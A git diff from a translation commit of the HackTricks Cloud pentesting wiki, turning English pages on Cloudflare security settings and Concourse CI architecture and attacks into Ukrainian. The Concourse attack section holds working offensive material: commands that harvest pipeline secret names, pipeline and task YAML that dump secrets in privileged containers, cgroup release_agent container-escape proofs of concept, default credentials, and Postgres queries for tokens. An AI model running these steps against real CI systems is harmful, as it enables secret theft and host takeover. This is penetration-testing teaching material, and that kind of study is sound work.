цей доступ. +- У **WAF**: Ви можете створити **обмеження швидкості за URL-адресою** або для **перевірених ботів** (правила обмеження швидкості), або **блокувати доступ** на основі IP, Cookie, реферера...). Таким чином, ви можете блокувати запити, які не надходять з веб-сторінки або не мають cookie. +- Якщо атака з **перевіреного бота**, принаймні **додайте обмеження швидкості** для ботів. +- Якщо атака на **конкретний шлях**, як механізм запобігання, додайте **обмеження швидкості** в цьому шляху. +- Ви також можете **додати до білого списку** IP-адреси, діапазони IP, країни або ASN у **Інструментах** в WAF. +- Перевірте, чи **Керовані правила** також можуть допомогти запобігти експлуатації вразливостей. +- У розділі **Інструменти** ви можете **блокувати або ставити виклик конкретним IP** та **агентам користувача.** +- У DDoS ви можете **перезаписати деякі правила, щоб зробити їх більш обмежувальними**. +- **Налаштування**: Встановіть **Security Level** на **Високий** та на **Під атакою**, якщо ви під атакою, і щоб **Browser Integrity Check був увімкнений**. +- У Cloudflare Domains -> Analytics -> Security -> Перевірте, чи **обмеження швидкості** увімкнено +- У Cloudflare Domains -> Security -> Events -> Перевірте наявність **виявлених шкідливих подій** -### Access +### Доступ {{#ref}} cloudflare-zero-trust-network.md {{#endref}} -### Speed +### Швидкість -_I couldn't find any option related to security_ +_Я не зміг знайти жодної опції, пов'язаної з безпекою_ -### Caching +### Кешування -- [ ] In the **`Configuration`** section consider enabling the **CSAM Scanning Tool** +- [ ] У розділі **`Configuration`** розгляньте можливість увімкнення **CSAM Scanning Tool** -### **Workers Routes** +### **Маршрути Workers** -_You should have already checked_ [_cloudflare workers_](./#workers) +_Ви вже повинні були перевірити_ [_cloudflare workers_](./#workers) -### Rules +### Правила TODO -### Network +### Мережа -- [ ] If **`HTTP/2`** is **enabled**, **`HTTP/2 to Origin`** should be **enabled** -- [ ] **`HTTP/3 (with QUIC)`** should be **enabled** -- [ ] If the **privacy** of your **users** is important, make sure **`Onion Routing`** is **enabled** +- [ ] Якщо **`HTTP/2`** **увімкнено**, **`HTTP/2 to Origin`** має бути **увімкнено** +- [ ] **`HTTP/3 (з QUIC)`** має бути **увімкнено** +- [ ] Якщо **конфіденційність** ваших **користувачів** важлива, переконайтеся, що **`Onion Routing`** **увімкнено** -### **Traffic** +### **Трафік** TODO -### Custom Pages +### Користувацькі сторінки -- [ ] It's optional to configure custom pages when an error related to security is triggered (like a block, rate limiting or I'm under attack mode) +- [ ] Налаштування користувацьких сторінок, коли виникає помилка, пов'язана з безпекою (наприклад, блокування, обмеження швидкості або режим "я під атакою"), є необов'язковим -### Apps +### Додатки TODO ### Scrape Shield -- [ ] Check **Email Address Obfuscation** is **enabled** -- [ ] Check **Server-side Excludes** is **enabled** +- [ ] Перевірте, що **обфускація адрес електронної пошти** **увімкнена** +- [ ] Перевірте, що **виключення на стороні сервера** **увімкнені** ### **Zaraz** @@ -131,7 +131,3 @@ TODO TODO {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md index 491ae7bc1..8a07699da 100644 --- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md +++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md @@ -2,43 +2,43 @@ {{#include ../../banners/hacktricks-training.md}} -In a **Cloudflare Zero Trust Network** account there are some **settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:** +У обліковому записі **Cloudflare Zero Trust Network** є деякі **налаштування та сервіси**, які можна налаштувати. На цій сторінці ми будемо **аналізувати налаштування, пов'язані з безпекою, кожного розділу:**
### Analytics -- [ ] Useful to **get to know the environment** +- [ ] Корисно для **ознайомлення з середовищем** ### **Gateway** -- [ ] In **`Policies`** it's possible to generate policies to **restrict** by **DNS**, **network** or **HTTP** request who can access applications. - - If used, **policies** could be created to **restrict** the access to malicious sites. - - This is **only relevant if a gateway is being used**, if not, there is no reason to create defensive policies. +- [ ] У **`Policies`** можна створити політики для **обмеження** доступу до додатків за **DNS**, **мережею** або **HTTP** запитом. +- Якщо використовується, **політики** можуть бути створені для **обмеження** доступу до шкідливих сайтів. +- Це **актуально лише якщо використовується шлюз**, якщо ні, немає причин створювати захисні політики. ### Access #### Applications -On each application: +На кожному додатку: -- [ ] Check **who** can access to the application in the **Policies** and check that **only** the **users** that **need access** to the application can access. - - To allow access **`Access Groups`** are going to be used (and **additional rules** can be set also) -- [ ] Check the **available identity providers** and make sure they **aren't too open** -- [ ] In **`Settings`**: - - [ ] Check **CORS isn't enabled** (if it's enabled, check it's **secure** and it isn't allowing everything) - - [ ] Cookies should have **Strict Same-Site** attribute, **HTTP Only** and **binding cookie** should be **enabled** if the application is HTTP. - - [ ] Consider enabling also **Browser rendering** for better **protection. More info about** [**remote browser isolation here**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.** +- [ ] Перевірте **хто** може отримати доступ до додатку в **Policies** і переконайтеся, що **тільки** **користувачі**, які **потребують доступу** до додатку, можуть отримати доступ. +- Для надання доступу будуть використовуватися **`Access Groups`** (також можна встановити **додаткові правила**) +- [ ] Перевірте **доступні постачальники ідентичності** і переконайтеся, що вони **не занадто відкриті** +- [ ] У **`Settings`**: +- [ ] Перевірте, що **CORS не увімкнено** (якщо увімкнено, перевірте, що воно **безпечне** і не дозволяє все) +- [ ] Cookies повинні мати атрибут **Strict Same-Site**, **HTTP Only** і **binding cookie** повинні бути **увімкнені**, якщо додаток є HTTP. +- [ ] Розгляньте можливість увімкнення також **Browser rendering** для кращого **захисту. Більше інформації про** [**ізоляцію віддаленого браузера тут**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.** #### **Access Groups** -- [ ] Check that the access groups generated are **correctly restricted** to the users they should allow. -- [ ] It's specially important to check that the **default access group isn't very open** (it's **not allowing too many people**) as by **default** anyone in that **group** is going to be able to **access applications**. - - Note that it's possible to give **access** to **EVERYONE** and other **very open policies** that aren't recommended unless 100% necessary. +- [ ] Перевірте, що згенеровані групи доступу **правильно обмежені** для користувачів, яким вони повинні надавати доступ. +- [ ] Особливо важливо перевірити, що **група доступу за замовчуванням не є дуже відкритою** (вона **не дозволяє занадто багатьом людям**) оскільки за **замовчуванням** будь-хто в цій **групі** зможе **отримати доступ до додатків**. +- Зверніть увагу, що можливо надати **доступ** **ВСІМ** та інші **дуже відкриті політики**, які не рекомендуються, якщо це не є 100% необхідним. #### Service Auth -- [ ] Check that all service tokens **expires in 1 year or less** +- [ ] Перевірте, що всі токени сервісу **закінчуються через 1 рік або менше** #### Tunnels @@ -50,16 +50,12 @@ TODO ### Logs -- [ ] You could search for **unexpected actions** from users +- [ ] Ви можете шукати **неочікувані дії** від користувачів ### Settings -- [ ] Check the **plan type** -- [ ] It's possible to see the **credits card owner name**, **last 4 digits**, **expiration** date and **address** -- [ ] It's recommended to **add a User Seat Expiration** to remove users that doesn't really use this service +- [ ] Перевірте **тип плану** +- [ ] Можна побачити **ім'я власника кредитної картки**, **останні 4 цифри**, **дату закінчення** та **адресу** +- [ ] Рекомендується **додати термін дії користувача** для видалення користувачів, які насправді не використовують цей сервіс {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/concourse-security/README.md b/src/pentesting-ci-cd/concourse-security/README.md index bcf20facf..adbc3594d 100644 --- a/src/pentesting-ci-cd/concourse-security/README.md +++ b/src/pentesting-ci-cd/concourse-security/README.md @@ -2,36 +2,32 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Основна інформація -Concourse allows you to **build pipelines** to automatically run tests, actions and build images whenever you need it (time based, when something happens...) +Concourse дозволяє вам **створювати конвеєри** для автоматичного виконання тестів, дій та створення образів, коли вам це потрібно (за часом, коли щось відбувається...) -## Concourse Architecture +## Архітектура Concourse -Learn how the concourse environment is structured in: +Дізнайтеся, як структуроване середовище concourse у: {{#ref}} concourse-architecture.md {{#endref}} -## Concourse Lab +## Лабораторія Concourse -Learn how you can run a concourse environment locally to do your own tests in: +Дізнайтеся, як ви можете запустити середовище concourse локально, щоб провести власні тести у: {{#ref}} concourse-lab-creation.md {{#endref}} -## Enumerate & Attack Concourse +## Перерахунок та атака на Concourse -Learn how you can enumerate the concourse environment and abuse it in: +Дізнайтеся, як ви можете перерахувати середовище concourse та зловживати ним у: {{#ref}} concourse-enumeration-and-attacks.md {{#endref}} {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md index d70167906..70bee287c 100644 --- a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md +++ b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md @@ -1,42 +1,38 @@ -# Concourse Architecture +# Архітектура Concourse -## Concourse Architecture +## Архітектура Concourse {{#include ../../banners/hacktricks-training.md}} -[**Relevant data from Concourse documentation:**](https://concourse-ci.org/internals.html) +[**Відповідні дані з документації Concourse:**](https://concourse-ci.org/internals.html) -### Architecture +### Архітектура ![](<../../images/image (187).png>) -#### ATC: web UI & build scheduler +#### ATC: веб UI та планувальник збірок -The ATC is the heart of Concourse. It runs the **web UI and API** and is responsible for all pipeline **scheduling**. It **connects to PostgreSQL**, which it uses to store pipeline data (including build logs). +ATC є серцем Concourse. Він запускає **веб UI та API** і відповідає за все **планування** конвеєрів. Він **підключається до PostgreSQL**, який використовує для зберігання даних конвеєра (включаючи журнали збірок). -The [checker](https://concourse-ci.org/checker.html)'s responsibility is to continuously checks for new versions of resources. The [scheduler](https://concourse-ci.org/scheduler.html) is responsible for scheduling builds for a job and the [build tracker](https://concourse-ci.org/build-tracker.html) is responsible for running any scheduled builds. The [garbage collector](https://concourse-ci.org/garbage-collector.html) is the cleanup mechanism for removing any unused or outdated objects, such as containers and volumes. +Відповідальність [checker](https://concourse-ci.org/checker.html) полягає в безперервній перевірці нових версій ресурсів. [scheduler](https://concourse-ci.org/scheduler.html) відповідає за планування збірок для роботи, а [build tracker](https://concourse-ci.org/build-tracker.html) відповідає за виконання будь-яких запланованих збірок. [garbage collector](https://concourse-ci.org/garbage-collector.html) є механізмом очищення для видалення будь-яких невикористовуваних або застарілих об'єктів, таких як контейнери та томи. -#### TSA: worker registration & forwarding +#### TSA: реєстрація працівників та пересилання -The TSA is a **custom-built SSH server** that is used solely for securely **registering** [**workers**](https://concourse-ci.org/internals.html#architecture-worker) with the [ATC](https://concourse-ci.org/internals.html#component-atc). +TSA є **кастомізованим SSH сервером**, який використовується виключно для безпечної **реєстрації** [**працівників**](https://concourse-ci.org/internals.html#architecture-worker) з [ATC](https://concourse-ci.org/internals.html#component-atc). -The TSA by **default listens on port `2222`**, and is usually colocated with the [ATC](https://concourse-ci.org/internals.html#component-atc) and sitting behind a load balancer. +TSA за **замовчуванням слухає на порту `2222`** і зазвичай розміщується разом з [ATC](https://concourse-ci.org/internals.html#component-atc) і знаходиться за балансувальником навантаження. -The **TSA implements CLI over the SSH connection,** supporting [**these commands**](https://concourse-ci.org/internals.html#component-tsa). +**TSA реалізує CLI через SSH з'єднання,** підтримуючи [**ці команди**](https://concourse-ci.org/internals.html#component-tsa). -#### Workers +#### Працівники -In order to execute tasks concourse must have some workers. These workers **register themselves** via the [TSA](https://concourse-ci.org/internals.html#component-tsa) and run the services [**Garden**](https://github.com/cloudfoundry-incubator/garden) and [**Baggageclaim**](https://github.com/concourse/baggageclaim). +Для виконання завдань Concourse повинен мати кілька працівників. Ці працівники **реєструють себе** через [TSA](https://concourse-ci.org/internals.html#component-tsa) і запускають сервіси [**Garden**](https://github.com/cloudfoundry-incubator/garden) та [**Baggageclaim**](https://github.com/concourse/baggageclaim). -- **Garden**: This is the **Container Manage AP**I, usually run in **port 7777** via **HTTP**. -- **Baggageclaim**: This is the **Volume Management API**, usually run in **port 7788** via **HTTP**. +- **Garden**: Це **API управління контейнерами**, зазвичай працює на **порту 7777** через **HTTP**. +- **Baggageclaim**: Це **API управління томами**, зазвичай працює на **порту 7788** через **HTTP**. -## References +## Посилання - [https://concourse-ci.org/internals.html](https://concourse-ci.org/internals.html) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md index 4b778a804..a7620f464 100644 --- a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md +++ b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md @@ -6,213 +6,204 @@ ### User Roles & Permissions -Concourse comes with five roles: +Concourse має п'ять ролей: -- _Concourse_ **Admin**: This role is only given to owners of the **main team** (default initial concourse team). Admins can **configure other teams** (e.g.: `fly set-team`, `fly destroy-team`...). The permissions of this role cannot be affected by RBAC. -- **owner**: Team owners can **modify everything within the team**. -- **member**: Team members can **read and write** within the **teams assets** but cannot modify the team settings. -- **pipeline-operator**: Pipeline operators can perform **pipeline operations** such as triggering builds and pinning resources, however they cannot update pipeline configurations. -- **viewer**: Team viewers have **"read-only" access to a team** and its pipelines. +- _Concourse_ **Admin**: Ця роль надається лише власникам **головної команди** (за замовчуванням початкова команда concourse). Адміністратори можуть **конфігурувати інші команди** (наприклад: `fly set-team`, `fly destroy-team`...). Дозволи цієї ролі не можуть бути змінені за допомогою RBAC. +- **owner**: Власники команди можуть **змінювати все в межах команди**. +- **member**: Члени команди можуть **читати та писати** в межах **ресурсів команди**, але не можуть змінювати налаштування команди. +- **pipeline-operator**: Оператори конвеєра можуть виконувати **операції конвеєра**, такі як запуск збірок і закріплення ресурсів, однак вони не можуть оновлювати конфігурації конвеєра. +- **viewer**: Глядачі команди мають **доступ "тільки для читання" до команди** та її конвеєрів. > [!NOTE] -> Moreover, the **permissions of the roles owner, member, pipeline-operator and viewer can be modified** configuring RBAC (configuring more specifically it's actions). Read more about it in: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html) +> Більше того, **дозволи ролей owner, member, pipeline-operator та viewer можуть бути змінені** шляхом налаштування RBAC (більш конкретно, його дій). Читайте більше про це на: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html) -Note that Concourse **groups pipelines inside Teams**. Therefore users belonging to a Team will be able to manage those pipelines and **several Teams** might exist. A user can belong to several Teams and have different permissions inside each of them. +Зверніть увагу, що Concourse **групує конвеєри всередині команд**. Тому користувачі, які належать до команди, зможуть керувати цими конвеєрами, і **може існувати кілька команд**. Користувач може належати до кількох команд і мати різні дозволи в кожній з них. ### Vars & Credential Manager -In the YAML configs you can configure values using the syntax `((_source-name_:_secret-path_._secret-field_))`.\ -[From the docs:](https://concourse-ci.org/vars.html#var-syntax) The **source-name is optional**, and if omitted, the [cluster-wide credential manager](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) will be used, or the value may be provided [statically](https://concourse-ci.org/vars.html#static-vars).\ -The **optional \_secret-field**\_ specifies a field on the fetched secret to read. If omitted, the credential manager may choose to read a 'default field' from the fetched credential if the field exists.\ -Moreover, the _**secret-path**_ and _**secret-field**_ may be surrounded by double quotes `"..."` if they **contain special characters** like `.` and `:`. For instance, `((source:"my.secret"."field:1"))` will set the _secret-path_ to `my.secret` and the _secret-field_ to `field:1`. +У YAML конфігураціях ви можете налаштувати значення, використовуючи синтаксис `((_source-name_:_secret-path_._secret-field_))`.\ +[З документації:](https://concourse-ci.org/vars.html#var-syntax) **source-name є необов'язковим**, і якщо його пропустити, буде використано [менеджер облікових даних на рівні кластера](https://concourse-ci.org/vars.html#cluster-wide-credential-manager), або значення може бути надано [статично](https://concourse-ci.org/vars.html#static-vars).\ +**Необов'язкове \_secret-field**\_ вказує на поле у отриманому секреті для читання. Якщо його пропустити, менеджер облікових даних може вибрати для читання 'поле за замовчуванням' з отриманих облікових даних, якщо таке поле існує.\ +Більше того, _**secret-path**_ та _**secret-field**_ можуть бути оточені подвійними лапками `"..."`, якщо вони **містять спеціальні символи** такі як `.` та `:`. Наприклад, `((source:"my.secret"."field:1"))` встановить _secret-path_ на `my.secret` і _secret-field_ на `field:1`. #### Static Vars -Static vars can be specified in **tasks steps**: - +Статичні змінні можуть бути вказані в **кроках завдань**: ```yaml - task: unit-1.13 - file: booklit/ci/unit.yml - vars: { tag: 1.13 } +file: booklit/ci/unit.yml +vars: { tag: 1.13 } ``` +```markdown +Або використовуючи наступні `fly` **аргументи**: -Or using the following `fly` **arguments**: +- `-v` або `--var` `NAME=VALUE` встановлює рядок `VALUE` як значення для змінної `NAME`. +- `-y` або `--yaml-var` `NAME=VALUE` парсить `VALUE` як YAML і встановлює його як значення для змінної `NAME`. +- `-i` або `--instance-var` `NAME=VALUE` парсить `VALUE` як YAML і встановлює його як значення для змінної екземпляра `NAME`. Дивіться [Групування конвеєрів](https://concourse-ci.org/instanced-pipelines.html), щоб дізнатися більше про змінні екземпляра. +- `-l` або `--load-vars-from` `FILE` завантажує `FILE`, YAML документ, що містить відповідність імен змінних до значень, і встановлює їх усі. -- `-v` or `--var` `NAME=VALUE` sets the string `VALUE` as the value for the var `NAME`. -- `-y` or `--yaml-var` `NAME=VALUE` parses `VALUE` as YAML and sets it as the value for the var `NAME`. -- `-i` or `--instance-var` `NAME=VALUE` parses `VALUE` as YAML and sets it as the value for the instance var `NAME`. See [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) to learn more about instance vars. -- `-l` or `--load-vars-from` `FILE` loads `FILE`, a YAML document containing mapping var names to values, and sets them all. +#### Управління обліковими даними -#### Credential Management +Існують різні способи, як **менеджер облікових даних може бути вказаний** у конвеєрі, читайте про це в [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\ +Більше того, Concourse підтримує різні менеджери облікових даних: -There are different ways a **Credential Manager can be specified** in a pipeline, read how in [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\ -Moreover, Concourse supports different credential managers: - -- [The Vault credential manager](https://concourse-ci.org/vault-credential-manager.html) -- [The CredHub credential manager](https://concourse-ci.org/credhub-credential-manager.html) -- [The AWS SSM credential manager](https://concourse-ci.org/aws-ssm-credential-manager.html) -- [The AWS Secrets Manager credential manager](https://concourse-ci.org/aws-asm-credential-manager.html) -- [Kubernetes Credential Manager](https://concourse-ci.org/kubernetes-credential-manager.html) -- [The Conjur credential manager](https://concourse-ci.org/conjur-credential-manager.html) -- [Caching credentials](https://concourse-ci.org/creds-caching.html) -- [Redacting credentials](https://concourse-ci.org/creds-redacting.html) -- [Retrying failed fetches](https://concourse-ci.org/creds-retry-logic.html) +- [Менеджер облікових даних Vault](https://concourse-ci.org/vault-credential-manager.html) +- [Менеджер облікових даних CredHub](https://concourse-ci.org/credhub-credential-manager.html) +- [Менеджер облікових даних AWS SSM](https://concourse-ci.org/aws-ssm-credential-manager.html) +- [Менеджер облікових даних AWS Secrets Manager](https://concourse-ci.org/aws-asm-credential-manager.html) +- [Менеджер облікових даних Kubernetes](https://concourse-ci.org/kubernetes-credential-manager.html) +- [Менеджер облікових даних Conjur](https://concourse-ci.org/conjur-credential-manager.html) +- [Кешування облікових даних](https://concourse-ci.org/creds-caching.html) +- [Редагування облікових даних](https://concourse-ci.org/creds-redacting.html) +- [Повторна спроба невдалих запитів](https://concourse-ci.org/creds-retry-logic.html) > [!CAUTION] -> Note that if you have some kind of **write access to Concourse** you can create jobs to **exfiltrate those secrets** as Concourse needs to be able to access them. +> Зверніть увагу, що якщо у вас є якийсь **доступ на запис до Concourse**, ви можете створювати завдання для **екстракції цих секретів**, оскільки Concourse повинен мати можливість отримувати до них доступ. -### Concourse Enumeration +### Перерахування Concourse -In order to enumerate a concourse environment you first need to **gather valid credentials** or to find an **authenticated token** probably in a `.flyrc` config file. +Щоб перерахувати середовище concourse, спочатку потрібно **зібрати дійсні облікові дані** або знайти **авторизований токен**, ймовірно, у конфігураційному файлі `.flyrc`. -#### Login and Current User enum +#### Вхід та перерахування поточного користувача -- To login you need to know the **endpoint**, the **team name** (default is `main`) and a **team the user belongs to**: - - `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]` -- Get configured **targets**: - - `fly targets` -- Get if the configured **target connection** is still **valid**: - - `fly -t status` -- Get **role** of the user against the indicated target: - - `fly -t userinfo` +- Щоб увійти, вам потрібно знати **кінцеву точку**, **ім'я команди** (за замовчуванням `main`) та **команду, до якої належить користувач**: +- `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]` +- Отримати налаштовані **цілі**: +- `fly targets` +- Перевірити, чи **підключення до цілі** все ще **дійсне**: +- `fly -t status` +- Отримати **роль** користувача щодо вказаної цілі: +- `fly -t userinfo` > [!NOTE] -> Note that the **API token** is **saved** in `$HOME/.flyrc` by default, you looting a machines you could find there the credentials. +> Зверніть увагу, що **API токен** за замовчуванням **зберігається** в `$HOME/.flyrc`, ви, обшукуючи машини, можете знайти там облікові дані. -#### Teams & Users +#### Команди та користувачі -- Get a list of the Teams - - `fly -t teams` -- Get roles inside team - - `fly -t get-team -n ` -- Get a list of users - - `fly -t active-users` +- Отримати список команд +- `fly -t teams` +- Отримати ролі всередині команди +- `fly -t get-team -n ` +- Отримати список користувачів +- `fly -t active-users` -#### Pipelines - -- **List** pipelines: - - `fly -t pipelines -a` -- **Get** pipeline yaml (**sensitive information** might be found in the definition): - - `fly -t get-pipeline -p ` -- Get all pipeline **config declared vars** - - `for pipename in $(fly -t pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done` -- Get all the **pipelines secret names used** (if you can create/modify a job or hijack a container you could exfiltrate them): +#### Конвеєри +- **Список** конвеєрів: +- `fly -t pipelines -a` +- **Отримати** yaml конвеєра (**чутлива інформація** може бути знайдена в визначенні): +- `fly -t get-pipeline -p ` +- Отримати всі **змінні конфігурації конвеєра**: +- `for pipename in $(fly -t pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done` +- Отримати всі **імена секретів конвеєра**, що використовуються (якщо ви можете створити/змінити завдання або захопити контейнер, ви можете їх екстрактувати): +``` ```bash rm /tmp/secrets.txt; for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do - echo $pipename; - fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt; - echo ""; +echo $pipename; +fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt; +echo ""; done echo "" echo "ALL SECRETS" cat /tmp/secrets.txt | sort | uniq rm /tmp/secrets.txt ``` +#### Контейнери та Робітники -#### Containers & Workers +- Список **робітників**: +- `fly -t workers` +- Список **контейнерів**: +- `fly -t containers` +- Список **збірок** (щоб побачити, що виконується): +- `fly -t builds` -- List **workers**: - - `fly -t workers` -- List **containers**: - - `fly -t containers` -- List **builds** (to see what is running): - - `fly -t builds` +### Атаки на Concourse -### Concourse Attacks - -#### Credentials Brute-Force +#### Брутфорс облікових даних - admin:admin - test:test -#### Secrets and params enumeration +#### Перерахування секретів та параметрів -In the previous section we saw how you can **get all the secrets names and vars** used by the pipeline. The **vars might contain sensitive info** and the name of the **secrets will be useful later to try to steal** them. +У попередньому розділі ми бачили, як ви можете **отримати всі назви та змінні секретів**, які використовуються в конвеєрі. **Змінні можуть містити чутливу інформацію**, а назва **секретів буде корисною пізніше для спроби їх вкрасти**. -#### Session inside running or recently run container - -If you have enough privileges (**member role or more**) you will be able to **list pipelines and roles** and just get a **session inside** the `/` **container** using: +#### Сесія всередині запущеного або нещодавно запущеного контейнера +Якщо у вас достатньо привілеїв (**роль учасника або більше**), ви зможете **перелічити конвеєри та ролі** і просто отримати **сесію всередині** контейнера `/` за допомогою: ```bash fly -t tutorial intercept --job pipeline-name/job-name fly -t tutorial intercept # To be presented a prompt with all the options ``` +З цими правами ви можете: -With these permissions you might be able to: +- **Вкрасти секрети** всередині **контейнера** +- Спробувати **втекти** на вузол +- Перерахувати/Зловживати **метаданими хмари** (з поду та з вузла, якщо це можливо) -- **Steal the secrets** inside the **container** -- Try to **escape** to the node -- Enumerate/Abuse **cloud metadata** endpoint (from the pod and from the node, if possible) - -#### Pipeline Creation/Modification - -If you have enough privileges (**member role or more**) you will be able to **create/modify new pipelines.** Check this example: +#### Створення/Модифікація конвеєра +Якщо у вас достатньо привілеїв (**роль учасника або більше**), ви зможете **створювати/модифікувати нові конвеєри.** Перевірте цей приклад: ```yaml jobs: - - name: simple - plan: - - task: simple-task - privileged: true - config: - # Tells Concourse which type of worker this task should run on - platform: linux - image_resource: - type: registry-image - source: - repository: busybox # images are pulled from docker hub by default - run: - path: sh - args: - - -cx - - | - echo "$SUPER_SECRET" - sleep 1000 - params: - SUPER_SECRET: ((super.secret)) +- name: simple +plan: +- task: simple-task +privileged: true +config: +# Tells Concourse which type of worker this task should run on +platform: linux +image_resource: +type: registry-image +source: +repository: busybox # images are pulled from docker hub by default +run: +path: sh +args: +- -cx +- | +echo "$SUPER_SECRET" +sleep 1000 +params: +SUPER_SECRET: ((super.secret)) ``` +З **модифікацією/створенням** нового конвеєра ви зможете: -With the **modification/creation** of a new pipeline you will be able to: +- **Вкрасти** **секрети** (через їх виведення або зайшовши в контейнер і запустивши `env`) +- **Вийти** на **вузол** (надавши вам достатні привілеї - `privileged: true`) +- Перерахувати/Зловживати **метаданими хмари** (з поду та з вузла) +- **Видалити** створений конвеєр -- **Steal** the **secrets** (via echoing them out or getting inside the container and running `env`) -- **Escape** to the **node** (by giving you enough privileges - `privileged: true`) -- Enumerate/Abuse **cloud metadata** endpoint (from the pod and from the node) -- **Delete** created pipeline - -#### Execute Custom Task - -This is similar to the previous method but instead of modifying/creating a whole new pipeline you can **just execute a custom task** (which will probably be much more **stealthier**): +#### Виконати Користувацьке Завдання +Це схоже на попередній метод, але замість модифікації/створення цілого нового конвеєра ви можете **просто виконати користувацьке завдання** (що, ймовірно, буде набагато **прихованішим**): ```yaml # For more task_config options check https://concourse-ci.org/tasks.html platform: linux image_resource: - type: registry-image - source: - repository: ubuntu +type: registry-image +source: +repository: ubuntu run: - path: sh - args: - - -cx - - | - env - sleep 1000 +path: sh +args: +- -cx +- | +env +sleep 1000 params: - SUPER_SECRET: ((super.secret)) +SUPER_SECRET: ((super.secret)) ``` ```bash fly -t tutorial execute --privileged --config task_config.yml ``` +#### Втеча до вузла з привілейованого завдання -#### Escaping to the node from privileged task - -In the previous sections we saw how to **execute a privileged task with concourse**. This won't give the container exactly the same access as the privileged flag in a docker container. For example, you won't see the node filesystem device in /dev, so the escape could be more "complex". - -In the following PoC we are going to use the release_agent to escape with some small modifications: +У попередніх розділах ми бачили, як **виконати привілейоване завдання з concourse**. Це не надасть контейнеру точно такого ж доступу, як привілейований прапор у контейнері docker. Наприклад, ви не побачите пристрій файлової системи вузла в /dev, тому втеча може бути більш "складною". +У наступному PoC ми будемо використовувати release_agent для втечі з деякими невеликими змінами: ```bash # Mounts the RDMA cgroup controller and create a child cgroup # If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist" @@ -270,14 +261,12 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" # Reads the output cat /output ``` - > [!WARNING] -> As you might have noticed this is just a [**regular release_agent escape**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) just modifying the path of the cmd in the node +> Як ви могли помітити, це просто [**регулярний escape release_agent**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md), просто модифікуючи шлях cmd у вузлі -#### Escaping to the node from a Worker container - -A regular release_agent escape with a minor modification is enough for this: +#### Втеча до вузла з контейнера Worker +Регулярний escape release_agent з незначною модифікацією достатній для цього: ```bash mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x @@ -304,13 +293,11 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" # Reads the output cat /output ``` +#### Втеча до вузла з веб-контейнера -#### Escaping to the node from the Web container - -Even if the web container has some defenses disabled it's **not running as a common privileged container** (for example, you **cannot** **mount** and the **capabilities** are very **limited**, so all the easy ways to escape from the container are useless). - -However, it stores **local credentials in clear text**: +Навіть якщо веб-контейнер має деякі захисти вимкненими, він **не працює як звичайний привілейований контейнер** (наприклад, ви **не можете** **монтувати** і **можливості** дуже **обмежені**, тому всі прості способи втечі з контейнера марні). +Однак він зберігає **локальні облікові дані у відкритому тексті**: ```bash cat /concourse-auth/local-users test:test @@ -319,11 +306,9 @@ env | grep -i local_user CONCOURSE_MAIN_TEAM_LOCAL_USER=test CONCOURSE_ADD_LOCAL_USER=test:test ``` +Ви можете використовувати ці облікові дані для **входу на веб-сервер** та **створення привілейованого контейнера та втечі до вузла**. -You cloud use that credentials to **login against the web server** and **create a privileged container and escape to the node**. - -In the environment you can also find information to **access the postgresql** instance that concourse uses (address, **username**, **password** and database among other info): - +У середовищі ви також можете знайти інформацію для **доступу до постgresql** екземпляра, який використовує concourse (адреса, **ім'я користувача**, **пароль** та база даних серед іншої інформації): ```bash env | grep -i postg CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238 @@ -344,39 +329,35 @@ select * from refresh_token; select * from teams; #Change the permissions of the users in the teams select * from users; ``` - -#### Abusing Garden Service - Not a real Attack +#### Зловживання службою Garden - Не справжня атака > [!WARNING] -> This are just some interesting notes about the service, but because it's only listening on localhost, this notes won't present any impact we haven't already exploited before +> Це лише кілька цікавих нотаток про службу, але оскільки вона 